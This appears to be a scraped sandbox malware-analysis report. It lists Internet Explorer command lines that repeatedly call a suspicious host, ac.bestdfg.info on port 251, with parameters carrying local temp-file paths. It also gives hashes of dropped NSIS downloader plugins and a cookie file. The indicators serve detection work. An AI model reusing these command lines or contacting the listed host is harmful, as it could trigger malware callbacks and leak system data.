C:\Program Files (x86)\Internet Explorer\iexplore.exe"C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a4&tt=1123&ur=C:\Users\Admin\AppData\Local\Temp\4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050&8383cb5a51f4672ae32da63c639759c8a85363ae2⤵
-
C:\Program Files\Internet Explorer\IEXPLORE.EXE"C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a4&tt=1123&ur=C:\Users\Admin\AppData\Local\Temp\4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050&8383cb5a51f4672ae32da63c639759c8a85363ae3⤵
-
C:\Program Files (x86)\Internet Explorer\iexplore.exe"C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a5&tt=1123&ur=C:\Users\Admin\AppData\Local\Temp\4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050&8383cb5a51f4672ae32da63c639759c8a85363ae2⤵
-
C:\Program Files\Internet Explorer\IEXPLORE.EXE"C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a5&tt=1123&ur=C:\Users\Admin\AppData\Local\Temp\4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050&8383cb5a51f4672ae32da63c639759c8a85363ae3⤵
-
C:\Program Files (x86)\Internet Explorer\iexplore.exe"C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a6&tt=1123&ur=C:\Users\Admin\AppData\Local\Temp\4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050&8383cb5a51f4672ae32da63c639759c8a85363ae2⤵
-
C:\Program Files\Internet Explorer\IEXPLORE.EXE"C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a6&tt=1123&ur=C:\Users\Admin\AppData\Local\Temp\4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050&8383cb5a51f4672ae32da63c639759c8a85363ae3⤵
-
C:\Program Files (x86)\Internet Explorer\iexplore.exe"C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a7&tt=1123&ur=C:\Users\Admin\AppData\Local\Temp\4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050&8383cb5a51f4672ae32da63c639759c8a85363ae2⤵
-
C:\Program Files\Internet Explorer\IEXPLORE.EXE"C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a7&tt=1123&ur=C:\Users\Admin\AppData\Local\Temp\4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050&8383cb5a51f4672ae32da63c639759c8a85363ae3⤵
-
C:\Program Files (x86)\Internet Explorer\iexplore.exe"C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a8&tt=1123&ur=C:\Users\Admin\AppData\Local\Temp\4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050&8383cb5a51f4672ae32da63c639759c8a85363ae2⤵
-
C:\Program Files\Internet Explorer\IEXPLORE.EXE"C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a8&tt=1123&ur=C:\Users\Admin\AppData\Local\Temp\4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050&8383cb5a51f4672ae32da63c639759c8a85363ae3⤵
-
C:\Program Files (x86)\Internet Explorer\iexplore.exe"C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a9&tt=1123&ur=C:\Users\Admin\AppData\Local\Temp\4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050&8383cb5a51f4672ae32da63c639759c8a85363ae2⤵
-
C:\Program Files\Internet Explorer\IEXPLORE.EXE"C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a9&tt=1123&ur=C:\Users\Admin\AppData\Local\Temp\4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050&8383cb5a51f4672ae32da63c639759c8a85363ae3⤵
-
C:\Program Files (x86)\Internet Explorer\iexplore.exe"C:\Program Files (x86)\Internet Explorer\iexplore.exe" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a10&tt=1123&ur=C:\Users\Admin\AppData\Local\Temp\4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050&8383cb5a51f4672ae32da63c639759c8a85363ae2⤵
-
C:\Program Files\Internet Explorer\IEXPLORE.EXE"C:\Program Files\Internet Explorer\IEXPLORE.EXE" http://ac.bestdfg.info:251/rfrfrfrfrf.php?gg=a10&tt=1123&ur=C:\Users\Admin\AppData\Local\Temp\4610de1c764c7f93dd3545e866af356c0a1752d82fa574440360464066600050&8383cb5a51f4672ae32da63c639759c8a85363ae3⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Microsoft\Internet Explorer\Recovery\High\Active\RecoveryStore.{84F248B1-6B2B-11ED-B422-767CA9D977BF}.datFilesize
6KB
MD5407c20708c22bbd532e5084bb9b6a48a
SHA143d975187d2d4ee7d6848c46874ed6140641f9e0
SHA256b8cf970c3bde802a96fe7b15e845bccbee07c0317bd471819164f1428aee29f5
SHA512172f11bbd6d076d06fcb75234e403ab05579a8723de39c359e01266956190e0fd1003d700d47ee87ddee77580c8faa4f8aa4b0de597ced3a789811e49a4fe337
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Cookies\3JRWEQPR.txtFilesize
608B
MD56862873d82a557bb4d2667a9b40be81d
SHA11f0d740f4e2f758a5db06bcaf3a5536c5ead18dd
SHA256b9fc9a9f3ed53004c9bc75ee37e3af9b5e380553738a21049ac9cd22a3be9e91
SHA5121bc55e40884a475e1ce955ae4236ab8c2194459f4d44d8c521b6b988a64f4a7c849480d2d1d51178ecd5a4e4d2bff95a260da44f995f1a5a0dc38a32a0df2137
-
\Users\Admin\AppData\Local\Temp\nstA150.tmp\InetLoad.dllFilesize
18KB
MD5994669c5737b25c26642c94180e92fa2
SHA1d8a1836914a446b0e06881ce1be8631554adafde
SHA256bf01a1f272e0daf82df3407690b646e0ff6b2c562e36e47cf177eda71ccb6f6c
SHA512d0ab7ca7f890ef9e59015c33e6b400a0a4d1ce0d24599537e09e845f4b953e3ecd44bf3e3cbe584f57c2948743e689ed67d2d40e6caf923bd630886e89c38563
-
\Users\Admin\AppData\Local\Temp\nstA150.tmp\InetLoad.dllFilesize
18KB
MD5994669c5737b25c26642c94180e92fa2
SHA1d8a1836914a446b0e06881ce1be8631554adafde
SHA256bf01a1f272e0daf82df3407690b646e0ff6b2c562e36e47cf177eda71ccb6f6c
SHA512d0ab7ca7f890ef9e59015c33e6b400a0a4d1ce0d24599537e09e845f4b953e3ecd44bf3e3cbe584f57c2948743e689ed67d2d40e6caf923bd630886e89c38563
-
\Users\Admin\AppData\Local\Temp\nstA150.tmp\InetLoad.dllFilesize
18KB
MD5994669c5737b25c26642c94180e92fa2
SHA1d8a1836914a446b0e06881ce1be8631554adafde
SHA256bf01a1f272e0daf82df3407690b646e0ff6b2c562e36e47cf177eda71ccb6f6c
SHA512d0ab7ca7f890ef9e59015c33e6b400a0a4d1ce0d24599537e09e845f4b953e3ecd44bf3e3cbe584f57c2948743e689ed67d2d40e6caf923bd630886e89c38563
-
\Users\Admin\AppData\Local\Temp\nstA150.tmp\InetLoad.dllFilesize
18KB
MD5994669c5737b25c26642c94180e92fa2
SHA1d8a1836914a446b0e06881ce1be8631554adafde
SHA256bf01a1f272e0daf82df3407690b646e0ff6b2c562e36e47cf177eda71ccb6f6c
SHA512d0ab7ca7f890ef9e59015c33e6b400a0a4d1ce0d24599537e09e845f4b953e3ecd44bf3e3cbe584f57c2948743e689ed67d2d40e6caf923bd630886e89c38563
-
\Users\Admin\AppData\Local\Temp\nstA150.tmp\Math.dllFilesize
66KB
MD59eb6cecdd0df9fe32027fcdb51c625af
SHA152b5b054ff6e7325c3087822901ea2f2c4f9572a
SHA25654cf1572ed47f614b0ffb886c99fc5725f454ef7ff919fbb2fd13d1cbe270560
SHA512864742ec6f74f94057b54cd9b09707c0125ac8db4844fa80af201e8b72a811bb68276c993e75bce67e5ece4f83644572edbdee5e963634c5a37839615faea97a
-
\Users\Admin\AppData\Local\Temp\nstA150.tmp\System.dllFilesize
11KB
MD500a0194c20ee912257df53bfe258ee4a
SHA1d7b4e319bc5119024690dc8230b9cc919b1b86b2
SHA256dc4da2ccadb11099076926b02764b2b44ad8f97cd32337421a4cc21a3f5448f3
SHA5123b38a2c17996c3b77ebf7b858a6c37415615e756792132878d8eddbd13cb06710b7da0e8b58104768f8e475fc93e8b44b3b1ab6f70ddf52edee111aaf5ef5667
-
\Users\Admin\AppData\Local\Temp\nstA150.tmp\inetc.dllFilesize
20KB
MD550fdadda3e993688401f6f1108fabdb4
SHA104a9ae55d0fb726be49809582cea41d75bf22a9a
SHA2566d6ddc0d2b7d59eb91be44939457858ced5eb23cf4aa93ef33bb600eb28de6f6
SHA512e9628870feea8c3aaefe22a2af41cf34b1c1778c4a0e81d069f50553ce1a23f68a0ba74b296420b2be92425d4995a43e51c018c2e8197ec2ec39305e87c56be8
-
\Users\Admin\AppData\Local\Temp\nstA150.tmp\inetc.dllFilesize
20KB
MD550fdadda3e993688401f6f1108fabdb4
SHA104a9ae55d0fb726be49809582cea41d75bf22a9a
SHA2566d6ddc0d2b7d59eb91be44939457858ced5eb23cf4aa93ef33bb600eb28de6f6
SHA512e9628870feea8c3aaefe22a2af41cf34b1c1778c4a0e81d069f50553ce1a23f68a0ba74b296420b2be92425d4995a43e51c018c2e8197ec2ec39305e87c56be8
-
\Users\Admin\AppData\Local\Temp\nstA150.tmp\time.dllFilesize
10KB
MD538977533750fe69979b2c2ac801f96e6
SHA174643c30cda909e649722ed0c7f267903558e92a
SHA256b4a95a455e53372c59f91bc1b5fb9e5c8e4a10a506fa04aaf7be27048b30ae35
SHA512e17069395ad4a17e24f7cd3c532670d40244bd5ae3887c82e3b2e4a68c250cd55e2d8b329d6ff0e2d758955ab7470534e6307779e49fe331c1fd2242ea73fd53
-
memory/1656-54-0x0000000076221000-0x0000000076223000-memory.dmpFilesize
8KB
-
memory/1656-57-0x00000000002C0000-0x00000000002DA000-memory.dmpFilesize
104KB